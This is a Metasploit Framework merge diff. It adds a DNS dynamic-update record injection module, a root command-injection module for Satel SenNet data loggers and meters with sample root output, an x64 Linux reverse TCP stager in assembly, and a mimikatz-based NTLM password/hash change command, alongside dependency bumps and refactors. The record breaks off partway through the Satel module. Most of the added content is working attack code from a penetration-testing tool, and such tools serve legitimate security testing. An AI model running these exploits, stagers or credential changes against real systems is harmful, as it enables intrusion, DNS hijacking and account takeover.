Merge branch 'upstream-master' into land-8603-
commit
e08bd84038
|
@ -8,6 +8,7 @@ PATH
|
|||
backports
|
||||
bcrypt
|
||||
bit-struct
|
||||
dnsruby
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
|
@ -15,7 +16,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.2.33)
|
||||
metasploit-payloads (= 1.2.36)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.1.10)
|
||||
msgpack
|
||||
|
@ -138,6 +139,7 @@ GEM
|
|||
railties (>= 4, < 5.2)
|
||||
cucumber-wire (0.0.1)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.60.1)
|
||||
docile (1.1.5)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.8.0)
|
||||
|
@ -196,8 +198,8 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.2.33)
|
||||
metasploit_data_models (2.0.14)
|
||||
metasploit-payloads (1.2.36)
|
||||
metasploit_data_models (2.0.15)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
|
|
|
@ -0,0 +1,30 @@
|
|||
# Dynamic DNS Update Injection
|
||||
|
||||
`dyn_dns_update` module allows adding or deleting DNS records
|
||||
on a DNS server that allows unrestricted dynamic updates.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Any DNS server that allows dynamic update for none trusted source IPs.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```auxiliary/scanner/dns/dyn_dns_update```
|
||||
3. Do: ```set DOMAIN [IP]```
|
||||
4. Do: ```set NS [IP]```
|
||||
5. Do: ```set INJECTDOMAIN [IP]```
|
||||
6. Do: ```set INJECTIP [IP]```
|
||||
7. Do: ```set ACTION ADD```
|
||||
8. Do: ```run```
|
||||
|
||||
## Actions
|
||||
|
||||
There are two kind of actions the module can run:
|
||||
|
||||
1. **ADD** - Add a new record. [Default]
|
||||
2. **DEL** - Delete an existing record.
|
||||
|
||||
## Targeting Information
|
||||
|
||||
WPAD may not work with Windows 2008+ targets due to a DNS block list: https://technet.microsoft.com/en-us/library/cc995261.aspx
|
|
@ -0,0 +1,28 @@
|
|||
This module exploits an OS Command Injection vulnerability in Satel SenNet Data Logger and Electricity Meters to perform arbitrary command execution as 'root'.
|
||||
|
||||
The following versions of SenNet Data Logger and Electricity Meters, monitoring platforms, are affected:
|
||||
1. SenNet Optimal DataLogger V5.37c-1.43c and prior,
|
||||
2. SenNet Solar Datalogger V5.03-1.56a and prior, and
|
||||
3. SenNet Multitask Meter V5.21a-1.18b and prior.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/telnet/satel_cmd_exec```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/telnet/satel_cmd_exec
|
||||
msf auxiliary(satel_cmd_exec) > set rhosts 1.3.3.7
|
||||
msf auxiliary(satel_cmd_exec) > run
|
||||
|
||||
[*] 1.3.3.7:5000 - Sending command now - id;
|
||||
[+] 1.3.3.7:5000 - uid=0(root) gid=0(root)
|
||||
[+] 1.3.3.7:5000 - File saved in: /root/.msf4/loot/20000000000003_1.3.3.7_cmdexeclog_12345.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
#
|
||||
# Name: stager_sock_reverse
|
||||
# Qualities: -
|
||||
# Authors: nemo <nemo [at] felinemenace.org>, tkmru
|
||||
# License: MSF_LICENSE
|
||||
# Description:
|
||||
#
|
||||
# Implementation of a Linux reverse TCP stager for x64 architecture.
|
||||
#
|
||||
# Assemble with: gcc -nostdlib stager_sock_reverse.s -o stager_sock_reverse
|
||||
#
|
||||
# Meta-Information:
|
||||
#
|
||||
# meta-shortname=Linux Reverse TCP Stager
|
||||
# meta-description=Connect back to the framework and run a second stage
|
||||
# meta-authors=ricky, tkmru
|
||||
# meta-os=linux
|
||||
# meta-arch=x64
|
||||
# meta-category=stager
|
||||
# meta-connection-type=reverse
|
||||
# meta-name=reverse_tcp
|
||||
##
|
||||
|
||||
.text
|
||||
.globl _start
|
||||
_start:
|
||||
xor %rdi,%rdi
|
||||
pushq $0x9
|
||||
pop %rax
|
||||
cltd
|
||||
mov $0x10,%dh
|
||||
mov %rdx,%rsi
|
||||
xor %r9,%r9
|
||||
pushq $0x22
|
||||
pop %r10
|
||||
mov $0x7,%dl
|
||||
syscall
|
||||
test %rax, %rax
|
||||
js failed
|
||||
# mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
|
||||
push %rsi
|
||||
push %rax
|
||||
pushq $0x29
|
||||
pop %rax
|
||||
cltd
|
||||
pushq $0x2
|
||||
pop %rdi
|
||||
pushq $0x1
|
||||
pop %rsi
|
||||
syscall
|
||||
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||
test %rax, %rax
|
||||
js failed
|
||||
xchg %rax,%rdi
|
||||
movabs $0x100007fb3150002,%rcx
|
||||
push %rcx
|
||||
mov %rsp,%rsi
|
||||
pushq $0x10
|
||||
pop %rdx
|
||||
pushq $0x2a
|
||||
pop %rax
|
||||
syscall
|
||||
# connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
|
||||
test %rax, %rax
|
||||
js failed
|
||||
pop %rcx
|
||||
|
||||
failed:
|
||||
pushq $0x3c
|
||||
pop %rax
|
||||
pushq $0x1
|
||||
pop %rdi
|
||||
syscall
|
||||
# exit(1)
|
|
@ -214,8 +214,9 @@ module Session
|
|||
|
||||
dstr = sprintf("%.4d%.2d%.2d", dt.year, dt.mon, dt.mday)
|
||||
rhost = session_host.gsub(':', '_')
|
||||
sname = name.to_s.gsub(/\W+/,'_')
|
||||
|
||||
"#{dstr}_#{rhost}_#{type}"
|
||||
"#{dstr}_#{sname}_#{rhost}_#{type}"
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -687,7 +687,7 @@ module Msf
|
|||
#
|
||||
# Command to take to the previously active module
|
||||
#
|
||||
def cmd_previous()
|
||||
def cmd_previous(*args)
|
||||
if @previous_module
|
||||
self.cmd_use(@previous_module.fullname)
|
||||
else
|
||||
|
|
|
@ -13,7 +13,7 @@ class TimestampFlatfile < Flatfile
|
|||
|
||||
def log(sev, src, level, msg, from) # :nodoc:
|
||||
return unless msg.present?
|
||||
msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ")
|
||||
msg = msg.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, ' ').gsub(/\s+$/,'')
|
||||
fd.write("[#{get_current_timestamp}] #{msg}\n")
|
||||
fd.flush
|
||||
end
|
||||
|
|
|
@ -53,6 +53,43 @@ class Kiwi < Extension
|
|||
output[output.index("\n") + 1, output.length]
|
||||
end
|
||||
|
||||
def password_change(opts)
|
||||
cmd = "lsadump::changentlm /user:#{opts[:user]}"
|
||||
cmd << " /server:#{opts[:server]}" if opts[:server]
|
||||
cmd << " /oldpassword:#{opts[:old_pass]}" if opts[:old_pass]
|
||||
cmd << " /oldntlm:#{opts[:old_hash]}" if opts[:old_hash]
|
||||
cmd << " /newpassword:#{opts[:new_pass]}" if opts[:new_pass]
|
||||
cmd << " /newntlm:#{opts[:new_hash]}" if opts[:new_hash]
|
||||
|
||||
output = exec_cmd("\"#{cmd}\"")
|
||||
result = {}
|
||||
|
||||
if output =~ /^OLD NTLM\s+:\s+(\S+)\s*$/m
|
||||
result[:old] = $1
|
||||
end
|
||||
if output =~ /^NEW NTLM\s+:\s+(\S+)\s*$/m
|
||||
result[:new] = $1
|
||||
end
|
||||
|
||||
if output =~ /^ERROR/m
|
||||
result[:success] = false
|
||||
if output =~ /^ERROR.*SamConnect/m
|
||||
result[:error] = 'Invalid server.'
|
||||
elsif output =~ /^ERROR.*Bad old/m
|
||||
result[:error] = 'Invalid old password or hash.'
|
||||
elsif output =~ /^ERROR.*SamLookupNamesInDomain/m
|
||||
result[:error] = 'Invalid user.'
|
||||
else
|
||||
STDERR.puts(output)
|
||||
result[:error] = 'Unknown error.'
|
||||
end
|
||||
else
|
||||
result[:success] = true
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
def dcsync(domain_user)
|
||||
exec_cmd("\"lsadump::dcsync /user:#{domain_user}\"")
|
||||
end
|
||||
|
|
|
@ -390,31 +390,31 @@ class ProcessList < Array
|
|||
return Rex::Text::Table.new(opts)
|
||||
end
|
||||
|
||||
cols = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ]
|
||||
# Arch and Session are specific to native Windows, PHP and Java can't do
|
||||
# ppid. Cut columns from the list if they aren't there. It is conceivable
|
||||
# that processes might have different columns, but for now assume that the
|
||||
# first one is representative.
|
||||
cols.delete_if { |c| !( first.has_key?(c.downcase) ) or first[c.downcase].nil? }
|
||||
column_headers = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ]
|
||||
column_headers.delete_if do |h|
|
||||
none? { |process| process.has_key?(h.downcase) } ||
|
||||
all? { |process| process[h.downcase].nil? }
|
||||
end
|
||||
|
||||
opts = {
|
||||
'Header' => 'Process List',
|
||||
'Indent' => 1,
|
||||
'Columns' => cols
|
||||
'Columns' => column_headers
|
||||
}.merge(opts)
|
||||
|
||||
tbl = Rex::Text::Table.new(opts)
|
||||
each { |process|
|
||||
tbl << cols.map { |c|
|
||||
col = c.downcase
|
||||
each do |process|
|
||||
tbl << column_headers.map do |header|
|
||||
col = header.downcase
|
||||
next unless process.keys.any? { |process_header| process_header == col }
|
||||
val = process[col]
|
||||
if col == 'session'
|
||||
val == 0xFFFFFFFF ? '' : val.to_s
|
||||
else
|
||||
val
|
||||
end
|
||||
}.compact
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
tbl
|
||||
end
|
||||
|
|
|
@ -5,7 +5,7 @@ module Meterpreter
|
|||
module Extensions
|
||||
module Winpmem
|
||||
TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
|
||||
TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2)
|
||||
TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_QWORD | (TLV_EXTENSIONS + 2)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -43,8 +43,10 @@ class Winpmem < Extension
|
|||
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
|
||||
|
||||
raise Exception, "We did not get a channel back!" if channel_id.nil?
|
||||
#Open the compressed Channel
|
||||
channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS)
|
||||
|
||||
# Open the compressed Channel
|
||||
channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem",
|
||||
CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS)
|
||||
return memory_size, response_code, channel
|
||||
end
|
||||
end
|
||||
|
|
|
@ -512,7 +512,7 @@ class Console::CommandDispatcher::Android
|
|||
'-h' => [ false, 'Help Banner' ],
|
||||
'-d' => [ true, 'Destination number' ],
|
||||
'-t' => [ true, 'SMS body text' ],
|
||||
'-dr' => [ false, 'Wait for delivery report' ]
|
||||
'-r' => [ false, 'Wait for delivery report' ]
|
||||
)
|
||||
|
||||
dest = ''
|
||||
|
@ -530,7 +530,7 @@ class Console::CommandDispatcher::Android
|
|||
dest = val
|
||||
when '-t'
|
||||
body = val
|
||||
when '-dr'
|
||||
when '-r'
|
||||
dr = true
|
||||
end
|
||||
end
|
||||
|
|
|
@ -604,25 +604,24 @@ class Console::CommandDispatcher::Core
|
|||
# Arguments for transport switching
|
||||
#
|
||||
@@transport_opts = Rex::Parser::Arguments.new(
|
||||
'-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}"],
|
||||
'-l' => [true, 'LHOST parameter (for reverse transports)'],
|
||||
'-p' => [true, 'LPORT parameter'],
|
||||
'-i' => [true, 'Specify transport by index (currently supported: remove)'],
|
||||
'-u' => [true, 'Custom URI for HTTP/S transports (used when removing transports)'],
|
||||
'-lu' => [true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)'],
|
||||
'-ua' => [true, 'User agent for HTTP/S transports (optional)'],
|
||||
'-ph' => [true, 'Proxy host for HTTP/S transports (optional)'],
|
||||
'-pp' => [true, 'Proxy port for HTTP/S transports (optional)'],
|
||||
'-pu' => [true, 'Proxy username for HTTP/S transports (optional)'],
|
||||
'-ps' => [true, 'Proxy password for HTTP/S transports (optional)'],
|
||||
'-pt' => [true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)'],
|
||||
'-c' => [true, 'SSL certificate path for https transport verification (optional)'],
|
||||
'-to' => [true, 'Comms timeout (seconds) (default: same as current session)'],
|
||||
'-ex' => [true, 'Expiration timout (seconds) (default: same as current session)'],
|
||||
'-rt' => [true, 'Retry total time (seconds) (default: same as current session)'],
|
||||
'-rw' => [true, 'Retry wait time (seconds) (default: same as current session)'],
|
||||
'-v' => [false, 'Show the verbose format of the transport list'],
|
||||
'-h' => [false, 'Help menu'])
|
||||
'-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}"],
|
||||
'-l' => [true, 'LHOST parameter (for reverse transports)'],
|
||||
'-p' => [true, 'LPORT parameter'],
|
||||
'-i' => [true, 'Specify transport by index (currently supported: remove)'],
|
||||
'-u' => [true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)'],
|
||||
'-c' => [true, 'SSL certificate path for https transport verification (optional)'],
|
||||
'-A' => [true, 'User agent for HTTP/S transports (optional)'],
|
||||
'-H' => [true, 'Proxy host for HTTP/S transports (optional)'],
|
||||
'-P' => [true, 'Proxy port for HTTP/S transports (optional)'],
|
||||
'-U' => [true, 'Proxy username for HTTP/S transports (optional)'],
|
||||
'-N' => [true, 'Proxy password for HTTP/S transports (optional)'],
|
||||
'-B' => [true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)'],
|
||||
'-C' => [true, 'Comms timeout (seconds) (default: same as current session)'],
|
||||
'-X' => [true, 'Expiration timout (seconds) (default: same as current session)'],
|
||||
'-T' => [true, 'Retry total time (seconds) (default: same as current session)'],
|
||||
'-W' => [true, 'Retry wait time (seconds) (default: same as current session)'],
|
||||
'-v' => [false, 'Show the verbose format of the transport list'],
|
||||
'-h' => [false, 'Help menu'])
|
||||
|
||||
#
|
||||
# Display help for transport management.
|
||||
|
@ -666,7 +665,6 @@ class Console::CommandDispatcher::Core
|
|||
:transport => nil,
|
||||
:lhost => nil,
|
||||
:lport => nil,
|
||||
:uri => nil,
|
||||
:ua => nil,
|
||||
:proxy_host => nil,
|
||||
:proxy_port => nil,
|
||||
|
@ -687,31 +685,29 @@ class Console::CommandDispatcher::Core
|
|||
case opt
|
||||
when '-c'
|
||||
opts[:cert] = val
|
||||
when '-u'
|
||||
opts[:uri] = val
|
||||
when '-i'
|
||||
transport_index = val.to_i
|
||||
when '-lu'
|
||||
when '-u'
|
||||
opts[:luri] = val
|
||||
when '-ph'
|
||||
when '-H'
|
||||
opts[:proxy_host] = val
|
||||
when '-pp'
|
||||
when '-P'
|
||||
opts[:proxy_port] = val.to_i
|
||||
when '-pt'
|
||||
when '-B'
|
||||
opts[:proxy_type] = val
|
||||
when '-pu'
|
||||
when '-U'
|
||||
opts[:proxy_user] = val
|
||||
when '-ps'
|
||||
when '-N'
|
||||
opts[:proxy_pass] = val
|
||||
when '-ua'
|
||||
when '-A'
|
||||
opts[:ua] = val
|
||||
when '-to'
|
||||
when '-C'
|
||||
opts[:comm_timeout] = val.to_i if val
|
||||
when '-ex'
|
||||
when '-X'
|
||||
opts[:session_exp] = val.to_i if val
|
||||
when '-rt'
|
||||
when '-T'
|
||||
opts[:retry_total] = val.to_i if val
|
||||
when '-rw'
|
||||
when '-W'
|
||||
opts[:retry_wait] = val.to_i if val
|
||||
when '-p'
|
||||
opts[:lport] = val.to_i if val
|
||||
|
|
|
@ -38,7 +38,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
super
|
||||
print_line
|
||||
print_line
|
||||
print_line(" .#####. mimikatz 2.1.1-20170409 (#{client.session_type})")
|
||||
print_line(" .#####. mimikatz 2.1.1 20170608 (#{client.session_type})")
|
||||
print_line(" .## ^ ##. \"A La Vie, A L'Amour\"")
|
||||
print_line(" ## / \\ ## /* * *")
|
||||
print_line(" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
|
||||
|
@ -72,6 +72,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
'kerberos_ticket_list' => 'List all kerberos tickets (unparsed)',
|
||||
'lsa_dump_secrets' => 'Dump LSA secrets (unparsed)',
|
||||
'lsa_dump_sam' => 'Dump LSA SAM (unparsed)',
|
||||
'password_change' => 'Change the password/hash of a user',
|
||||
'wifi_list' => 'List wifi profiles/creds for the current user',
|
||||
'wifi_list_shared' => 'List shared wifi profiles/creds (requires SYSTEM)',
|
||||
}
|
||||
|
@ -82,6 +83,92 @@ class Console::CommandDispatcher::Kiwi
|
|||
print_line(output)
|
||||
end
|
||||
|
||||
#
|
||||
# Valid options for the password change feature
|
||||
#
|
||||
@@password_change_usage_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [false, 'Help banner'],
|
||||
'-u' => [true, 'User name of the password to change.'],
|
||||
'-s' => [true, 'Server to perform the action on (eg. Domain Controller).'],
|
||||
'-p' => [true, 'The known existing/old password (do not use with -n).'],
|
||||
'-n' => [true, 'The known existing/old hash (do not use with -p).'],
|
||||
'-P' => [true, 'The new password to set for the account (do not use with -N).'],
|
||||
'-N' => [true, 'The new hash to set for the account (do not use with -P).']
|
||||
)
|
||||
|
||||
def cmd_password_change_usage
|
||||
print_line('Usage password_change [options]')
|
||||
print_line
|
||||
print_line(@@password_change_usage_opts.usage)
|
||||
end
|
||||
|
||||
def cmd_password_change(*args)
|
||||
if args.length == 0 || args.include?('-h')
|
||||
cmd_password_change_usage
|
||||
return
|
||||
end
|
||||
|
||||
opts = {}
|
||||
|
||||
@@password_change_usage_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when '-u'
|
||||
opts[:user] = val
|
||||
when '-s'
|
||||
opts[:server] = val
|
||||
when '-p'
|
||||
opts[:old_pass] = val
|
||||
when '-n'
|
||||
opts[:old_hash] = val
|
||||
when '-P'
|
||||
opts[:new_pass] = val
|
||||
when '-N'
|
||||
opts[:new_hash] = val
|
||||
end
|
||||
}
|
||||
|
||||
valid = true
|
||||
if opts[:old_pass] && opts[:old_hash]
|
||||
print_error('Options -p and -n cannot be used together.')
|
||||
valid = false
|
||||
end
|
||||
|
||||
if opts[:new_pass] && opts[:new_hash]
|
||||
print_error('Options -P and -N cannot be used together.')
|
||||
valid = false
|
||||
end
|
||||
|
||||
unless opts[:old_pass] || opts[:old_hash]
|
||||
print_error('At least one of -p and -n must be specified.')
|
||||
valid = false
|
||||
end
|
||||
|
||||
unless opts[:new_pass] || opts[:new_hash]
|
||||
print_error('At least one of -P and -N must be specified.')
|
||||
valid = false
|
||||
end
|
||||
|
||||
unless opts[:user]
|
||||
print_error('The -u parameter must be specified.')
|
||||
valid = false
|
||||
end
|
||||
|
||||
if valid
|
||||
|
||||
unless opts[:server]
|
||||
print_status('No server (-s) specified, defaulting to localhost.')
|
||||
end
|
||||
|
||||
result = client.kiwi.password_change(opts)
|
||||
|
||||
if result[:success] == true
|
||||
print_good("Success! New NTLM hash: #{result[:new]}")
|
||||
else
|
||||
print_error("Failed! #{result[:error]}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_dcsync(*args)
|
||||
return unless check_is_domain_user
|
||||
|
||||
|
|
|
@ -60,12 +60,13 @@ module Ui
|
|||
end
|
||||
print_good("Driver PMEM loaded successfully")
|
||||
#Arbitrary big buffer size, could be optimized
|
||||
buffer_size = 2**17
|
||||
buffer_size = 2 ** 17
|
||||
bytes_read = 0
|
||||
next_message_byte = memory_size / 10
|
||||
print_good("Dumping #{memory_size} bytes (press Ctrl-C to abort)")
|
||||
begin
|
||||
data = channel.read(buffer_size)
|
||||
until channel.eof
|
||||
until channel.eof || data.nil?
|
||||
fd.write(data)
|
||||
bytes_read += data.length
|
||||
data = channel.read(buffer_size)
|
||||
|
|
|
@ -68,7 +68,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.33'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.36'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.10'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
@ -114,6 +114,7 @@ Gem::Specification.new do |spec|
|
|||
#
|
||||
# Protocol Libraries
|
||||
#
|
||||
spec.add_runtime_dependency 'dnsruby'
|
||||
spec.add_runtime_dependency 'net-ssh'
|
||||
spec.add_runtime_dependency 'ruby_smb'
|
||||
|
||||
|
|
|
@ -0,0 +1,171 @@
|
|||
# -*- coding: binary -*-
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
require 'dnsruby'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DNS Server Dynamic Update Record Injection',
|
||||
'Description' => %q{
|
||||
This module allows adding and/or deleting a record to
|
||||
any remote DNS server that allows unrestricted dynamic updates.},
|
||||
'Author' => [
|
||||
'King Sabri <king.sabri[at]gmail.com>',
|
||||
'Brent Cook <brent_cook[at]rapid7.com>'
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'http://www.tenable.com/plugins/index.php?view=single&id=35372'],
|
||||
['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],
|
||||
['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],
|
||||
['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/DNSInject.py']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
['UPDATE', {'Description' => 'Add or update a record. (default)'}],
|
||||
['ADD', {'Description' => 'Add a new record. Fail if it already exists.'}],
|
||||
['DELETE', {'Description' => 'Delete an existing record.'}]
|
||||
],
|
||||
'DefaultAction' => 'UPDATE'
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('DOMAIN', [true, 'The domain name']),
|
||||
OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']),
|
||||
OptString.new('HOSTNAME', [true, 'The name record you want to add']),
|
||||
OptAddress.new('IP', [false, 'The IP you want to assign to the record']),
|
||||
OptString.new('VALUE', [false, 'The string to be added with TXT or CNAME record']),
|
||||
OptEnum.new('TYPE', [true, 'The record type you want to add.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']]),
|
||||
OptAddress.new('CHOST', [false, 'The source address to use for queries and updates'])
|
||||
])
|
||||
|
||||
deregister_options('RPORT')
|
||||
end
|
||||
|
||||
def record_action(type, type_enum, value, action)
|
||||
# Send the update to the zone's primary master.
|
||||
domain = datastore['DOMAIN']
|
||||
fqdn = "#{datastore['HOSTNAME']}.#{domain}"
|
||||
opts = {nameserver: datastore['RHOST']}
|
||||
if datastore['CHOST'] && datastore['CHOST'] != ""
|
||||
if Rex::Socket.is_ipv4?(datastore['CHOST'])
|
||||
opts[:src_address] = datastore['CHOST']
|
||||
elsif Rex::Socket.is_ipv6?(datastore['CHOST'])
|
||||
opts[:src_address6] = datastore['CHOST']
|
||||
end
|
||||
end
|
||||
resolver = Dnsruby::Resolver.new(opts)
|
||||
update = Dnsruby::Update.new(domain)
|
||||
updated = false
|
||||
case
|
||||
when action == :resolve
|
||||
begin
|
||||
answer = resolver.query(fqdn, type)
|
||||
print_good "Found existing #{type} record for #{fqdn}"
|
||||
return true
|
||||
rescue Dnsruby::ResolvError, IOError => e
|
||||
print_good "Did not find an existing #{type} record for #{fqdn}"
|
||||
vprint_error "Query failed: #{e.message}"
|
||||
return false
|
||||
end
|
||||
when action == :add
|
||||
print_status("Sending dynamic DNS add message...")
|
||||
update.absent("#{fqdn}.", type)
|
||||
update.add("#{fqdn}.", type_enum, 86400, value)
|
||||
begin
|
||||
resolver.send_message(update)
|
||||
print_good "The record '#{fqdn} => #{value}' has been added!"
|
||||
updated = true
|
||||
rescue Dnsruby::ResolvError, IOError => e
|
||||
print_error "Cannot add #{fqdn}"
|
||||
vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."
|
||||
vprint_error "Update failed: #{e.message}"
|
||||
end
|
||||
when action == :delete
|
||||
begin
|
||||
print_status("Sending dynamic DNS delete message...")
|
||||
update.present(fqdn, type)
|
||||
update.delete(fqdn, type)
|
||||
resolver.send_message(update)
|
||||
print_good("The record '#{fqdn} => #{value}' has been deleted!")
|
||||
updated = true
|
||||
rescue Dnsruby::ResolvError, IOError => e
|
||||
print_error "Cannot delete #{fqdn}"
|
||||
vprint_error "The DNS server may not be vulnerable, or there may be a preexisting static record."
|
||||
vprint_error "Update failed: #{e.message}"
|
||||
end
|
||||
end
|
||||
updated
|
||||
end
|
||||
|
||||
def update_record(type:, type_enum:, value:, value_name:)
|
||||
if value.nil? || value == ""
|
||||
print_error "Record type #{type} requires the #{value_name} parameter to be specified"
|
||||
return
|
||||
end
|
||||
force = datastore['CHOST'] && datastore['CHOST'] != ""
|
||||
case
|
||||
when action.name == 'UPDATE'
|
||||
if force
|
||||
record_action(type, type_enum, value, :delete)
|
||||
record_action(type, type_enum, value, :add)
|
||||
else
|
||||
if record_action(type, type_enum, value, :resolve)
|
||||
if record_action(type, type_enum, value, :delete)
|
||||
record_action(type, type_enum, value, :add)
|
||||
end
|
||||
else
|
||||
record_action(type, type_enum, value, :add)
|
||||
end
|
||||
end
|
||||
when action.name == 'ADD'
|
||||
if force
|
||||
record_action(type, type_enum, value, :add)
|
||||
else
|
||||
if record_action(type, type_enum, value, :resolve) == false
|
||||
record_action(type, type_enum, value, :add)
|
||||
else
|
||||
print_error "Record already exists, try DELETE or UPDATE"
|
||||
end
|
||||
end
|
||||
when action.name == 'DELETE'
|
||||
if force
|
||||
record_action(type, type_enum, value, :delete)
|
||||
else
|
||||
if record_action(type, type_enum, value, :resolve)
|
||||
record_action(type, type_enum, value, :delete)
|
||||
else
|
||||
print_error "Record does not exist, not deleting"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
ip = datastore['IP']
|
||||
value = datastore['VALUE']
|
||||
begin
|
||||
case
|
||||
when datastore['TYPE'] == 'A'
|
||||
update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP')
|
||||
when datastore['TYPE'] == 'AAAA'
|
||||
update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP')
|
||||
when datastore['TYPE'] == 'CNAME'
|
||||
update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE')
|
||||
when datastore['TYPE'] == 'TXT'
|
||||
update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE')
|
||||
else
|
||||
print_error "Invalid Record Type!"
|
||||
end
|
||||
rescue ArgumentError => e
|
||||
print_error(e.message)
|
||||
rescue Dnsruby::OtherResolvError
|
||||
print_error("Connection Refused!")
|
||||
rescue Dnsruby::DecodeError
|
||||
print_error("Invalid DNS reply, ensure you are connecting to a DNS server")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,71 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Telnet
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits an OS Command Injection vulnerability in Satel Iberia SenNet Data Loggers & Electricity Meters
|
||||
to perform arbitrary command execution as 'root'.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-6048' ],
|
||||
[ 'URL', 'https://ipositivesecurity.com/2017/04/07/sennet-data-logger-appliances-and-electricity-meters-multiple-vulnerabilties/' ],
|
||||
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-131-02' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'DisclosureDate' => 'Apr 07, 2017',
|
||||
'License' => MSF_LICENSE,
|
||||
